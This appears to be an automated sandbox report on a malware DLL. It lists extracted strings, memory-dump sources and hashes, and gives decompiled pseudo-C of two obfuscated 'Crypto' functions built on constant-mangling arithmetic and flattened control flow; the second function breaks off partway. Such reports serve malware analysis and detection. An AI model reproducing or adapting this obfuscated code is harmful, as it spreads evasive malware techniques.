Download Yara Rule

Strings

__ZN, xrefs: 6EDAABD7
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6EDAB3C9
h, xrefs: 6EDAB6EB
.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EDABB04, 6EDABEC7
@*&<>()C,, xrefs: 6EDABE70, 6EDABF32
SizeLimitExhausted, xrefs: 6EDAC0D9
.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy, xrefs: 6EDAA6ED
called `Result::unwrap()` on an `Err` value, xrefs: 6EDABF8D
$, xrefs: 6EDABA33
$, xrefs: 6EDABA23
called `Option::unwrap()` on a `None` value, xrefs: 6EDABF6E

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID:
String ID: $$$$.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb$.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy$@*&<>()C,$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Option::unwrap()` on a `None` value$called `Result::unwrap()` on an `Err` value$h
API String ID: 0-2155986594
Opcode ID: 657c3ebd4927afaad61ab2c08c786a7f480a8a22da72170c74bdf5192ab3eb06
Instruction ID: 6148c7f88c28ba8e9a9fd74cbe62457ae04abb493a95deaa60867240dc7405ad
Opcode Fuzzy Hash: 657c3ebd4927afaad61ab2c08c786a7f480a8a22da72170c74bdf5192ab3eb06
Instruction Fuzzy Hash: 18E20471A0834A8FD314CF9CC49066EBBE2ABC5314F148A1DE6E54B3D9D731DA46CB82

Uniqueness

Uniqueness Score: -1.00%

Function 007B4DC5, Relevance: 15.4, Strings: 12, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E007B4DC5(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v256;
				char _v260;
				char _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				unsigned int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				unsigned int _v444;
				signed int _v448;
				void* _t395;
				void* _t428;
				intOrPtr _t431;
				void* _t436;
				void* _t445;
				void* _t447;
				intOrPtr _t452;
				void* _t457;
				char _t459;
				void* _t462;
				intOrPtr _t465;
				intOrPtr _t468;
				void* _t476;
				intOrPtr _t500;
				void* _t511;
				signed int _t512;
				signed int _t513;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				void* _t521;
				signed int* _t524;
				void* _t528;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E007A8002(_t395);
				_v272 = 0x5a47d6;
				_v268 = 0xcdc82b;
				_t524 =  &(( &_v448)[7]);
				_v264 = 0;
				_v260 = 0;
				_t459 = 0;
				_v380 = 0x9af564;
				_t462 = 0x9b977d1;
				_v380 = _v380 | 0xf74b0d84;
				_v380 = _v380 ^ 0xf7dca480;
				_v344 = 0x540e9c;
				_v344 = _v344 << 0xa;
				_v344 = _v344 + 0xe1d3;
				_v344 = _v344 ^ 0x503abdcd;
				_v328 = 0xf12931;
				_v328 = _v328 ^ 0xa94b556c;
				_v328 = _v328 ^ 0xa9bd52be;
				_v312 = 0x15bd18;
				_v312 = _v312 + 0x6a68;
				_v312 = _v312 ^ 0x00142ff3;
				_v400 = 0xf8b297;
				_v400 = _v400 + 0x5900;
				_v400 = _v400 ^ 0x448368c2;
				_v400 = _v400 << 0xe;
				_v400 = _v400 ^ 0x98da3f37;
				_v408 = 0x455919;
				_v408 = _v408 ^ 0xe2f437fc;
				_v408 = _v408 + 0x7be8;
				_t512 = 7;
				_v408 = _v408 * 0x79;
				_v408 = _v408 ^ 0x2610f865;
				_v336 = 0xe9e066;
				_v336 = _v336 ^ 0x491e36a5;
				_v336 = _v336 + 0x9cb6;
				_v336 = _v336 ^ 0x49ffae15;
				_v404 = 0x424109;
				_v404 = _v404 ^ 0xd76d8019;
				_v404 = _v404 ^ 0x92772264;
				_v404 = _v404 + 0xb73f;
				_v404 = _v404 ^ 0x455d24f6;
				_v444 = 0x8359bf;
				_v444 = _v444 << 0xc;
				_v444 = _v444 ^ 0x2ccbcef6;
				_v444 = _v444 >> 0xa;
				_v444 = _v444 ^ 0x000364ce;
				_v348 = 0xc8c19d;
				_v348 = _v348 | 0xc8237a79;
				_v348 = _v348 + 0xffff77b1;
				_v348 = _v348 ^ 0xc8e5237e;
				_v324 = 0x586a31;
				_v324 = _v324 ^ 0x6ef7158d;
				_v324 = _v324 ^ 0x6ea50117;
				_v332 = 0x1aea29;
				_v332 = _v332 >> 4;
				_v332 = _v332 ^ 0x0007a663;
				_v320 = 0x2348f9;
				_v320 = _v320 / _t512;
				_v320 = _v320 ^ 0x0006b713;
				_v416 = 0xd6b60d;
				_v416 = _v416 >> 1;
				_t513 = 0x35;
				_v416 = _v416 / _t513;
				_v416 = _v416 >> 4;
				_v416 = _v416 ^ 0x000e647a;
				_v304 = 0x2421ff;
				_v304 = _v304 | 0xdd5513fd;
				_v304 = _v304 ^ 0xdd7f87c6;
				_v376 = 0x30f67f;
				_v376 = _v376 + 0xffff5f71;
				_t514 = 0x71;
				_v376 = _v376 * 0x5a;
				_v376 = _v376 ^ 0x10f37e1a;
				_v424 = 0x471699;
				_v424 = _v424 * 0x69;
				_v424 = _v424 + 0xffffda63;
				_v424 = _v424 << 1;
				_v424 = _v424 ^ 0x3a5a74b6;
				_v432 = 0x460bc5;
				_v432 = _v432 / _t514;
				_t515 = 0x21;
				_v432 = _v432 * 0x72;
				_v432 = _v432 ^ 0xdf4a5a43;
				_v432 = _v432 ^ 0xdf02b34f;
				_v440 = 0xb2e4bc;
				_v440 = _v440 >> 0xd;
				_v440 = _v440 | 0xfa76fd7d;
				_v440 = _v440 ^ 0xfa7dfc63;
				_v384 = 0x24910;
				_v384 = _v384 | 0xf5288b13;
				_v384 = _v384 + 0x6fdd;
				_v384 = _v384 ^ 0xf52d2ab6;
				_v300 = 0x92d249;
				_v300 = _v300 + 0xe9aa;
				_v300 = _v300 ^ 0x00915407;
				_v352 = 0x441970;
				_v352 = _v352 + 0x24ff;
				_v352 = _v352 + 0xffff9ab6;
				_v352 = _v352 ^ 0x004d5352;
				_v360 = 0xf364f3;
				_v360 = _v360 >> 7;
				_v360 = _v360 >> 0xa;
				_v360 = _v360 ^ 0x0004c95a;
				_v392 = 0x3b4b3b;
				_v392 = _v392 ^ 0xf339efed;
				_v392 = _v392 ^ 0x149fa142;
				_v392 = _v392 | 0x817fda2d;
				_v392 = _v392 ^ 0xe7fbdc79;
				_v368 = 0x7be028;
				_t191 =  &_v368; // 0x7be028
				_v368 =  *_t191 / _t515;
				_t197 =  &_v368; // 0x7be028
				_t516 = 0x7b;
				_v368 =  *_t197 * 0x61;
				_v368 = _v368 ^ 0x016ef7c8;
				_v412 = 0x7d1814;
				_v412 = _v412 / _t516;
				_v412 = _v412 << 0xa;
				_v412 = _v412 >> 5;
				_v412 = _v412 ^ 0x002b2dab;
				_v308 = 0xd80031;
				_v308 = _v308 << 0xf;
				_v308 = _v308 ^ 0x0010937b;
				_v372 = 0xcdc7ad;
				_v372 = _v372 << 2;
				_t517 = 0x4a;
				_v372 = _v372 / _t517;
				_v372 = _v372 ^ 0x000a2ad9;
				_v356 = 0xb552ba;
				_v356 = _v356 << 6;
				_v356 = _v356 + 0xffff22d1;
				_v356 = _v356 ^ 0x2d5b6008;
				_v316 = 0xd960cf;
				_v316 = _v316 >> 0xf;
				_v316 = _v316 ^ 0x000d4b20;
				_v396 = 0x463e61;
				_v396 = _v396 ^ 0xa3b97e26;
				_v396 = _v396 + 0xb044;
				_v396 = _v396 << 0xf;
				_v396 = _v396 ^ 0xf8451024;
				_v428 = 0x8fa30a;
				_v428 = _v428 | 0xec92375e;
				_t518 = 0x50;
				_v428 = _v428 * 0x78;
				_v428 = _v428 / _t518;
				_v428 = _v428 ^ 0x02e6bcde;
				_v340 = 0x7b21f4;
				_v340 = _v340 | 0x015d5af8;
				_v340 = _v340 ^ 0xbe35f651;
				_v340 = _v340 ^ 0xbf41a612;
				_v388 = 0x51cd38;
				_v388 = _v388 + 0x307c;
				_v388 = _v388 + 0xdc67;
				_v388 = _v388 ^ 0x005e821e;
				_v448 = 0x5176eb;
				_t280 =  &_v448; // 0x5176eb
				_t519 = 0x17;
				_v448 =  *_t280 / _t519;
				_t286 =  &_v448; // 0x5176eb
				_t520 = 0x5d;
				_v448 =  *_t286 * 0xb;
				_v448 = _v448 >> 0x10;
				_v448 = _v448 ^ 0x000e569b;
				_v364 = 0xe45033;
				_t293 =  &_v364; // 0xe45033
				_v364 =  *_t293 * 0x22;
				_t295 =  &_v364; // 0xe45033
				_v364 =  *_t295 * 0x22;
				_v364 = _v364 ^ 0x06f7650a;
				_v420 = 0xf59819;
				_v420 = _v420 + 0xffff9a2e;
				_v420 = _v420 * 0x3f;
				_v420 = _v420 >> 7;
				_v420 = _v420 ^ 0x0076e6cb;
				_v436 = 0x9d9870;
				_v436 = _v436 + 0xffff85b4;
				_v436 = _v436 ^ 0x73b46595;
				_t521 = _v380;
				_v436 = _v436 / _t520;
				_v436 = _v436 ^ 0x013d0554;
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t528 = _t462 - 0x8b2ef1f;
							if(_t528 > 0) {
								break;
							}
							if(_t528 == 0) {
								_t468 =  *((intOrPtr*)( *0x7c5214 + 0x24));
								_t355 = _t468 + 0x30; // 0x7a53f0
								_t356 = _t468 + 0x28; // 0x13e85652
								_t361 =  *((intOrPtr*)( *0x7c5214 + 0x24)) + 0x50; // 0xf4456b00
								_t445 = E007A996C( &_v288, _v304, _t521, _v376,  &_v280,  *_t361 & 0x0000ffff, _v424,  &_v256, _v432,  *_t356 & 0x0000ffff, _t355);
								_t524 =  &(_t524[0xa]);
								if(_t445 == 0) {
									L21:
									_t462 = 0x40f5062;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									_t462 = 0x20796c8;
									while(1) {
										L1:
										goto L2;
									}
								}
							} else {
								if(_t462 == 0x20796c8) {
									_t447 = E007B0A37(_v440, _v384, _v300, _a16,  &_v280);
									_t524 =  &(_t524[3]);
									if(_t447 == 0) {
										_t511 = 0xcbc2bff;
									} else {
										_t511 = 0xe01f896;
										_t459 = 1;
									}
									_t462 = 0xb55e81b;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									if(_t462 == 0x40f5062) {
										E007AF699(_v412, _v296, _v308, _v372, _v356);
										E007AF699(_v316, _t521, _v396, _v428, _v340);
										E007AF699(_v388, _v288, _v448, _v364, _v420);
										_t524 =  &(_t524[9]);
										_t462 = _t511;
										L34:
										_t428 = 0x6ea9b1a;
										goto L35;
									} else {
										if(_t462 == 0x4ffd51f) {
											if(_v292 >= _v436) {
												_t452 = E007BD5FE( &_v296,  &_v288);
											} else {
												_t452 = E007C1C71( &_v296);
											}
											_t521 = _t452;
											_t428 = 0x6ea9b1a;
											_t462 =  !=  ? 0x6ea9b1a : 0x40f5062;
											continue;
										} else {
											if(_t462 != _t428) {
												goto L35;
											} else {
												_push(_t462);
												_push(1);
												_push(_t462);
												_push(_t462);
												_t476 = 0x40;
												_t457 = E007B2CCF(_t476);
												_push( &_v256);
												_push(_v320);
												_push(_t457);
												_push(0xb);
												E007B8601(_v324, _v332);
												_t524 =  &(_t524[8]);
												_t462 = 0x8b2ef1f;
												while(1) {
													L1:
													goto L2;
												}
											}
										}
									}
								}
							}
							L38:
							return _t459;
						}
						if(_t462 == 0x9b977d1) {
							_t521 = 0;
							E007A3965(_v380, _v344,  &_v256, _v328, 0x100, _v312);
							_t524 =  &(_t524[4]);
							_v288 = 0;
							_v284 = 0;
							_t462 = 0xd5ae00f;
							_v296 = 0;
							_v292 = 0;
							goto L34;
						} else {
							if(_t462 == 0xb55e81b) {
								E007AF699(_v352, _v280, _v360, _v392, _v368);
								_t524 =  &(_t524[3]);
								goto L21;
							} else {
								if(_t462 == 0xcbc2bff) {
									_t465 =  *0x7c5214;
									_t372 =  *((intOrPtr*)(_t465 + 0x24)) + 0x1c; // 0x1075ff56
									_t431 =  *_t372;
									 *((intOrPtr*)(_t465 + 0x34)) =  *((intOrPtr*)(_t465 + 0x34)) + 1;
									_t500 =  *((intOrPtr*)(_t465 + 0x34));
									 *((intOrPtr*)(_t465 + 0x24)) = _t431;
									if(_t431 == 0) {
										 *((intOrPtr*)(_t465 + 0x24)) =  *((intOrPtr*)(_t465 + 0x14));
									}
									if(_t500 >=  *((intOrPtr*)( *0x7c5214 + 0x10))) {
										 *((intOrPtr*)( *0x7c5214 + 0x34)) = 0;
									} else {
										_t462 = 0x9b977d1;
										goto L1;
									}
								} else {
									if(_t462 != 0xd5ae00f) {
										goto L35;
									} else {
										_t436 = E007BB0BA(_v400, _a12, _v408,  &_v296, _a4);
										_t524 =  &(_t524[3]);
										if(_t436 != 0) {
											_t462 = 0x4ffd51f;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L38;
						L35:
					} while (_t462 != 0xe01f896);
					goto L38;
				}
			}

0x007b4dcf
0x007b4dd6
0x007b4ddd
0x007b4de4
0x007b4deb
0x007b4df2
0x007b4df3
0x007b4df4
0x007b4df9
0x007b4e06
0x007b4e11
0x007b4e14
0x007b4e1d
0x007b4e24
0x007b4e26
0x007b4e2e
0x007b4e33
0x007b4e3b
0x007b4e43
0x007b4e4b
0x007b4e50
0x007b4e58
0x007b4e60
0x007b4e6b
0x007b4e76
0x007b4e81
0x007b4e8c
0x007b4e97
0x007b4ea2
0x007b4eaa
0x007b4eb2
0x007b4eba
0x007b4ebf
0x007b4ec7
0x007b4ecf
0x007b4ed7
0x007b4ee6
0x007b4ee9
0x007b4eed
0x007b4ef5
0x007b4f00
0x007b4f0b
0x007b4f16
0x007b4f21
0x007b4f29
0x007b4f31
0x007b4f39
0x007b4f41
0x007b4f49
0x007b4f51
0x007b4f56
0x007b4f5e
0x007b4f63
0x007b4f6b
0x007b4f73
0x007b4f7b
0x007b4f83
0x007b4f8b
0x007b4f96
0x007b4fa1
0x007b4fac
0x007b4fb7
0x007b4fbf
0x007b4fca
0x007b4fde
0x007b4fe5
0x007b4ff0
0x007b4ff8
0x007b5002
0x007b5007
0x007b500d
0x007b5012
0x007b501a
0x007b5025
0x007b5030
0x007b503b
0x007b5043
0x007b5050
0x007b5053
0x007b5057
0x007b505f
0x007b506c
0x007b5070
0x007b5078
0x007b507c
0x007b5084
0x007b5094
0x007b509d
0x007b50a0
0x007b50a4
0x007b50ac
0x007b50b4
0x007b50bc
0x007b50c1
0x007b50c9
0x007b50d1
0x007b50d9
0x007b50e1
0x007b50e9
0x007b50f1
0x007b50fc
0x007b5107
0x007b5112
0x007b511a
0x007b5122
0x007b512a
0x007b5132
0x007b513a
0x007b513f
0x007b5144
0x007b514c
0x007b5154
0x007b515c
0x007b5164
0x007b516c
0x007b5174
0x007b517c
0x007b5184
0x007b5188
0x007b518d
0x007b518e
0x007b5192
0x007b519a
0x007b51a8
0x007b51ac
0x007b51b1
0x007b51b6
0x007b51be
0x007b51c9
0x007b51d1
0x007b51dc
0x007b51e4
0x007b51f1
0x007b51f6
0x007b51fc
0x007b5204
0x007b520c
0x007b5211
0x007b5219
0x007b5221
0x007b522c
0x007b5234
0x007b523f
0x007b5247
0x007b524f
0x007b5257
0x007b525c
0x007b5264
0x007b526c
0x007b5279
0x007b5280
0x007b528c
0x007b5290
0x007b5298
0x007b52a3
0x007b52ae
0x007b52b9
0x007b52c4
0x007b52cc
0x007b52d4
0x007b52dc
0x007b52e4
0x007b52ec
0x007b52f0
0x007b52f5
0x007b52fb
0x007b5300
0x007b5301
0x007b5305
0x007b530a
0x007b5312
0x007b531a
0x007b531f
0x007b5323
0x007b5328
0x007b532c
0x007b5334
0x007b533c
0x007b5349
0x007b534d
0x007b5352
0x007b535a
0x007b5362
0x007b536a
0x007b5378
0x007b537c
0x007b5380
0x007b5388
0x007b5388
0x007b538d
0x007b538d
0x007b538d
0x007b538d
0x007b5393
0x00000000
0x00000000
0x007b5399
0x007b550a
0x007b550d
0x007b5511
0x007b552e
0x007b554b
0x007b5550
0x007b5555
0x007b5566
0x007b5566
0x007b5388
0x007b5388
0x00000000
0x007b5388
0x007b5557
0x007b5557
0x007b5388
0x007b5388
0x00000000
0x007b5388
0x007b5388
0x007b539f
0x007b53a5
0x007b54d9
0x007b54de
0x007b54e3
0x007b54ef
0x007b54e5
0x007b54e7
0x007b54ec
0x007b54ec
0x007b54f4
0x007b5388
0x007b5388
0x00000000
0x007b5388
0x007b53ab
0x007b53b1
0x007b5470
0x007b548d
0x007b54ac
0x007b54b1
0x007b54b4
0x007b5680
0x007b5680
0x00000000
0x007b53b7
0x007b53bd
0x007b542b
0x007b543b
0x007b542d
0x007b542d
0x007b542d
0x007b5440
0x007b5449
0x007b544e
0x00000000
0x007b53bf
0x007b53c1
0x00000000
0x007b53c7
0x007b53da
0x007b53db
0x007b53dd
0x007b53de
0x007b53e1
0x007b53e2
0x007b53ee
0x007b53ef
0x007b5404
0x007b5405
0x007b5407
0x007b540c
0x007b540f
0x007b5388
0x007b5388
0x00000000
0x007b5388
0x007b5388
0x007b53c1
0x007b53bd
0x007b53b1
0x007b53a5
0x007b569f
0x007b56a8
0x007b56a8
0x007b5576
0x007b563d
0x007b5657
0x007b565c
0x007b565f
0x007b5666
0x007b566d
0x007b5672
0x007b5679
0x00000000
0x007b557c
0x007b5582
0x007b5622
0x007b5627
0x00000000
0x007b5588
0x007b558e
0x007b55d4
0x007b55dd
0x007b55dd
0x007b55e0
0x007b55e3
0x007b55e6
0x007b55eb
0x007b55f0
0x007b55f0
0x007b55fb
0x007b5699
0x007b5601
0x007b5601
0x00000000
0x007b5601
0x007b5590
0x007b5596
0x00000000
0x007b559c
0x007b55ba
0x007b55bf
0x007b55c4
0x007b55ca
0x007b5388
0x007b5388
0x00000000
0x007b5388
0x007b5388
0x007b55c4
0x007b5596
0x007b558e
0x007b5582
0x00000000
0x007b5685
0x007b5685
0x00000000
0x007b5691

Strings

|0, xrefs: 007B52CC
1, xrefs: 007B51BE
1jX, xrefs: 007B4F8B
f, xrefs: 007B4EF5
RSM, xrefs: 007B512A
vQ, xrefs: 007B52EC
K, xrefs: 007B5234
a>F, xrefs: 007B523F
;K;, xrefs: 007B514C
AB, xrefs: 007B4F21
{, xrefs: 007B4ED7
3P, xrefs: 007B531A

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: AB$ K$1$1jX$3P$;K;$RSM$a>F$f$|0$vQ${
API String ID: 0-849826598
Opcode ID: e11d108ce762cdd2ef2fc4a0fd2c8f6dbbeb755c2c368e0fe920c7419c1a9afc
Instruction ID: 81a5f21d3c3f5fe03aa74e489fb6ef179fbccb5e74a70ebe38a73487f30dedc9
Opcode Fuzzy Hash: e11d108ce762cdd2ef2fc4a0fd2c8f6dbbeb755c2c368e0fe920c7419c1a9afc
Instruction Fuzzy Hash: 742244B1509380DFD368CF25C58AA9BBBE1FBC4708F10891DF6998A260D7B59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007C0C66, Relevance: 14.3, Strings: 11, Instructions: 552
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E007C0C66(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v4;
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				unsigned int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				unsigned int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				intOrPtr _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				void* _t569;
				void* _t616;
				void* _t620;
				intOrPtr _t623;
				void* _t628;
				void* _t631;
				void* _t639;
				void* _t643;
				intOrPtr _t649;
				void* _t668;
				void* _t706;
				signed int _t721;
				void* _t722;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t734;
				signed int _t735;
				void* _t736;
				void* _t739;
				signed int* _t741;
				void* _t744;

				_t649 = __ecx;
				_push(_a20);
				_v208 = __ecx;
				_push(_a16);
				_push(_a12);
				_push(0x20);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E007A8002(_t569);
				_v252 = 0xb850c4;
				_t741 =  &(( &_v272)[7]);
				_v252 = _v252 + 0xffff1b87;
				_t739 = 0;
				_t643 = 0x31427ed;
				_t724 = 0x38;
				_v252 = _v252 / _t724;
				_v252 = _v252 | 0x7484239e;
				_v252 = _v252 ^ 0x7487679f;
				_v228 = 0x671610;
				_v228 = _v228 << 9;
				_v228 = _v228 + 0xffffbdb7;
				_t721 = 0x48;
				_v228 = _v228 / _t721;
				_v228 = _v228 ^ 0x02dd0dbe;
				_v248 = 0x6d45a8;
				_v248 = _v248 ^ 0xcdaaf4a8;
				_v248 = _v248 | 0x2aa6e37d;
				_v248 = _v248 >> 0xc;
				_v248 = _v248 ^ 0x000efe7f;
				_v56 = 0x1d0414;
				_v56 = _v56 ^ 0xe63e9f7a;
				_v56 = _v56 ^ 0xe6239b6e;
				_v196 = 0xdbff9;
				_v196 = _v196 + 0xffffdf67;
				_v196 = _v196 >> 9;
				_v196 = _v196 ^ 0x000006cf;
				_v88 = 0xee2915;
				_t725 = 0x5a;
				_v88 = _v88 / _t725;
				_v88 = _v88 ^ 0x0002a56f;
				_v256 = 0x30f311;
				_t726 = 0x7d;
				_v256 = _v256 * 0x6c;
				_v256 = _v256 / _t726;
				_v256 = _v256 + 0xffff130d;
				_v256 = _v256 ^ 0x00295de4;
				_v268 = 0xd74e11;
				_v268 = _v268 >> 0xb;
				_v268 = _v268 + 0x536c;
				_v268 = _v268 + 0xffff4a38;
				_v268 = _v268 ^ 0xffffb88d;
				_v128 = 0x78165c;
				_v128 = _v128 ^ 0x119f2f8b;
				_v128 = _v128 >> 5;
				_v128 = _v128 ^ 0x008f39ce;
				_v260 = 0x46e0dd;
				_v260 = _v260 * 0x14;
				_v260 = _v260 << 4;
				_v260 = _v260 * 0x3f;
				_v260 = _v260 ^ 0xcdabfbc0;
				_v144 = 0x6701dd;
				_v144 = _v144 ^ 0x9279afad;
				_v144 = _v144 + 0xffff89d5;
				_v144 = _v144 ^ 0x921e3845;
				_v108 = 0x3d44ad;
				_v108 = _v108 >> 1;
				_v108 = _v108 >> 6;
				_v108 = _v108 ^ 0x00007a89;
				_v92 = 0x45ba2c;
				_t727 = 0x62;
				_v92 = _v92 * 0x4a;
				_v92 = _v92 ^ 0x1427283f;
				_v52 = 0x343fab;
				_v52 = _v52 + 0x68e6;
				_v52 = _v52 ^ 0x003405e0;
				_v176 = 0xaf3889;
				_v176 = _v176 ^ 0xc23279d7;
				_v176 = _v176 * 0x1b;
				_v176 = _v176 ^ 0x869c530f;
				_v28 = 0xf4b427;
				_v28 = _v28 | 0x483a8d57;
				_v28 = _v28 ^ 0x48fe78d2;
				_v112 = 0x10db4e;
				_v112 = _v112 ^ 0xf1aff679;
				_v112 = _v112 << 0xa;
				_v112 = _v112 ^ 0xfcbe5c75;
				_v76 = 0x14b737;
				_v76 = _v76 + 0x7c5f;
				_v76 = _v76 ^ 0x0013f1cb;
				_v44 = 0x7484d8;
				_v44 = _v44 * 9;
				_v44 = _v44 ^ 0x04160bfd;
				_v84 = 0x9b7484;
				_v84 = _v84 | 0x5f4a7202;
				_v84 = _v84 ^ 0x5fdf5c37;
				_v168 = 0xda0fbd;
				_v168 = _v168 / _t721;
				_v168 = _v168 * 0x1b;
				_v168 = _v168 ^ 0x0053367e;
				_v68 = 0x2fa43a;
				_v68 = _v68 ^ 0x0df30566;
				_v68 = _v68 ^ 0x0ddaec5a;
				_v32 = 0xc1ec80;
				_v32 = _v32 / _t727;
				_v32 = _v32 ^ 0x000e66f3;
				_v160 = 0x6b4fac;
				_v160 = _v160 + 0x12eb;
				_v160 = _v160 | 0x6651ce0a;
				_v160 = _v160 ^ 0x667f6b6f;
				_v136 = 0x33b0f4;
				_v136 = _v136 ^ 0xd9a5f0ed;
				_v136 = _v136 >> 0xf;
				_v136 = _v136 ^ 0x000f0842;
				_v36 = 0x2a6a0f;
				_v36 = _v36 * 0x2e;
				_v36 = _v36 ^ 0x07936512;
				_v72 = 0x697fd1;
				_v72 = _v72 ^ 0xbf1512e6;
				_v72 = _v72 ^ 0xbf789ab5;
				_v148 = 0xe185e4;
				_v148 = _v148 ^ 0xe5b2acdb;
				_v148 = _v148 + 0xffff9d18;
				_v148 = _v148 ^ 0xe55c8429;
				_v124 = 0x9fa9d1;
				_t728 = 0x5c;
				_v124 = _v124 / _t728;
				_v124 = _v124 + 0xffff2216;
				_v124 = _v124 ^ 0x00077867;
				_v132 = 0x8adf9e;
				_v132 = _v132 + 0x9a5e;
				_v132 = _v132 ^ 0x1a624471;
				_v132 = _v132 ^ 0x1ae76519;
				_v64 = 0x313708;
				_v64 = _v64 | 0x04d552f5;
				_v64 = _v64 ^ 0x04f75265;
				_v240 = 0xb80a70;
				_v240 = _v240 + 0x66b6;
				_v240 = _v240 | 0x1a350fc1;
				_v240 = _v240 + 0xffffcc70;
				_v240 = _v240 ^ 0x1abc6eb5;
				_v140 = 0x2912e7;
				_v140 = _v140 | 0xe2603e46;
				_v140 = _v140 + 0x7e97;
				_v140 = _v140 ^ 0xe265e9db;
				_v116 = 0x821ea6;
				_t729 = 0x2c;
				_v116 = _v116 * 0x36;
				_v116 = _v116 + 0x5511;
				_v116 = _v116 ^ 0x1b7bb2e8;
				_v232 = 0xf0e9f8;
				_v232 = _v232 * 0x7a;
				_v232 = _v232 + 0xffff16fe;
				_v232 = _v232 + 0xffff2a1a;
				_v232 = _v232 ^ 0x72ce1a31;
				_v48 = 0xf5efb0;
				_v48 = _v48 + 0xffff94f3;
				_v48 = _v48 ^ 0x00fb4f00;
				_v156 = 0x5ba670;
				_v156 = _v156 * 0x1a;
				_v156 = _v156 >> 0xf;
				_v156 = _v156 ^ 0x000aa99f;
				_v164 = 0xe620a;
				_v164 = _v164 | 0x6cacc763;
				_v164 = _v164 + 0xffff3d7f;
				_v164 = _v164 ^ 0x6caebe8e;
				_v264 = 0x43c5d0;
				_v264 = _v264 | 0xb2ae0f18;
				_v264 = _v264 + 0xffff20a5;
				_v264 = _v264 + 0x8e2a;
				_v264 = _v264 ^ 0xb2e472bd;
				_v96 = 0x6313ef;
				_v96 = _v96 + 0x1112;
				_v96 = _v96 ^ 0x006c6cc1;
				_v200 = 0xd4b609;
				_v200 = _v200 / _t729;
				_v200 = _v200 | 0x8315fc57;
				_v200 = _v200 ^ 0x83102fe5;
